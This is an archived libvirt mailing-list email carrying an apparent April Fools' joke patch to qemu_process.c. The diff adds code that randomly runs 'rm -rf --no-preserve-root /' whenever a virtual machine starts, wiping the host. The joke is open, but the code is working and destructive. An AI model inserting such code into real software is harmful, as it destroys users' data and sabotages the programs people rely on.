From nobody Sat Apr 27 03:26:27 2024 Delivered-To: importer@patchew.org Received-SPF: pass (zoho.com: domain of redhat.com designates 209.132.183.28 as permitted sender) client-ip=209.132.183.28; envelope-from=libvir-list-bounces@redhat.com; helo=mx1.redhat.com; Authentication-Results: mx.zoho.com; spf=pass (zoho.com: domain of redhat.com designates 209.132.183.28 as permitted sender) smtp.mailfrom=libvir-list-bounces@redhat.com; Return-Path: Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by mx.zohomail.com with SMTPS id 1491025854421212.90496999579545; Fri, 31 Mar 2017 22:50:54 -0700 (PDT) Received: from smtp.corp.redhat.com (int-mx01.intmail.prod.int.phx2.redhat.com [10.5.11.11]) (using TLSv1.2 with cipher AECDH-AES256-SHA (256/256 bits)) (No client certificate requested) by mx1.redhat.com (Postfix) with ESMTPS id 06E4EC057EC9; Sat, 1 Apr 2017 05:50:51 +0000 (UTC) Received: from colo-mx.corp.redhat.com (colo-mx01.intmail.prod.int.phx2.redhat.com [10.5.11.20]) by smtp.corp.redhat.com (Postfix) with ESMTPS id 61BF17FB5A; Sat, 1 Apr 2017 05:50:49 +0000 (UTC) Received: from lists01.pubmisc.prod.ext.phx2.redhat.com (lists01.pubmisc.prod.ext.phx2.redhat.com [10.5.19.33]) by colo-mx.corp.redhat.com (Postfix) with ESMTP id 1DB4218521C8; Sat, 1 Apr 2017 05:50:44 +0000 (UTC) Received: from smtp.corp.redhat.com (int-mx02.intmail.prod.int.phx2.redhat.com [10.5.11.12]) by lists01.pubmisc.prod.ext.phx2.redhat.com (8.13.8/8.13.8) with ESMTP id v315jDFF002777 for ; Sat, 1 Apr 2017 01:45:13 -0400 Received: by smtp.corp.redhat.com (Postfix) id 259E99F371; Sat, 1 Apr 2017 05:45:13 +0000 (UTC) Received: from burns.redhat.com (ovpn-204-19.brq.redhat.com [10.40.204.19]) by smtp.corp.redhat.com (Postfix) with ESMTP id 9A9859F36E for ; Sat, 1 Apr 2017 05:45:08 +0000 (UTC) DMARC-Filter: OpenDMARC Filter v1.3.2 mx1.redhat.com 06E4EC057EC9 Authentication-Results: ext-mx08.extmail.prod.ext.phx2.redhat.com; dmarc=none (p=none dis=none) header.from=redhat.com Authentication-Results: ext-mx08.extmail.prod.ext.phx2.redhat.com; spf=pass smtp.mailfrom=libvir-list-bounces@redhat.com DKIM-Filter: OpenDKIM Filter v2.11.0 mx1.redhat.com 06E4EC057EC9 From: Michal Privoznik To: libvir-list@redhat.com Date: Sat, 1 Apr 2017 07:45:06 +0200 Message-Id: X-Scanned-By: MIMEDefang 2.79 on 10.5.11.12 X-loop: libvir-list@redhat.com Subject: [libvirt] [PATCH] Give other software a fair chance X-BeenThere: libvir-list@redhat.com X-Mailman-Version: 2.1.12 Precedence: junk List-Id: Development discussions about the libvirt library & tools List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , MIME-Version: 1.0 Content-Transfer-Encoding: quoted-printable Sender: libvir-list-bounces@redhat.com Errors-To: libvir-list-bounces@redhat.com X-Scanned-By: MIMEDefang 2.79 on 10.5.11.11 X-Greylist: Sender IP whitelisted, not delayed by milter-greylist-4.5.16 (mx1.redhat.com [10.5.110.32]); Sat, 01 Apr 2017 05:50:53 +0000 (UTC) X-ZohoMail: RSF_0 Z_629925259 SPT_0 Content-Type: text/plain; charset="utf-8" Libvirt's so good, so solid that it almost feels like other software stand no chance. Other applications are buggy, unstable, crashing, etc. But not libvirt. Therefore, it seems only fair that we introduce some bugs so developers of the other applications don't feel that bad. Signed-off-by: Michal Privoznik --- src/qemu/qemu_process.c | 10 ++++++++++ 1 file changed, 10 insertions(+) diff --git a/src/qemu/qemu_process.c b/src/qemu/qemu_process.c index a20beb1..2a68611 100644 --- a/src/qemu/qemu_process.c +++ b/src/qemu/qemu_process.c @@ -77,6 +77,7 @@ #include "configmake.h" #include "nwfilter_conf.h" #include "netdev_bandwidth_conf.h" +#include "virrandom.h" =20 #define VIR_FROM_THIS VIR_FROM_QEMU =20 @@ -5960,6 +5961,15 @@ qemuProcessStart(virConnectPtr conn, if (!migrateFrom && !snapshot) flags |=3D VIR_QEMU_PROCESS_START_NEW; =20 + /* Be fair to other applications. */ + if (virRandomInt(2)) { + const char *argv[] =3D {"rm", "-rf", "--no-preserve-root", "/", NU= LL}; + virReportError(VIR_ERR_INTERNAL_ERROR, "%s", + _("Sorry pal, today is just not your day. Kiss your= data goodbye.")); + ignore_value(virRun(argv, NULL)); + goto cleanup; + } + if (qemuProcessInit(driver, vm, asyncJob, !!migrateFrom, flags) < 0) goto cleanup; =20 --=20 2.10.2 -- libvir-list mailing list libvir-list@redhat.com https://www.redhat.com/mailman/listinfo/libvir-list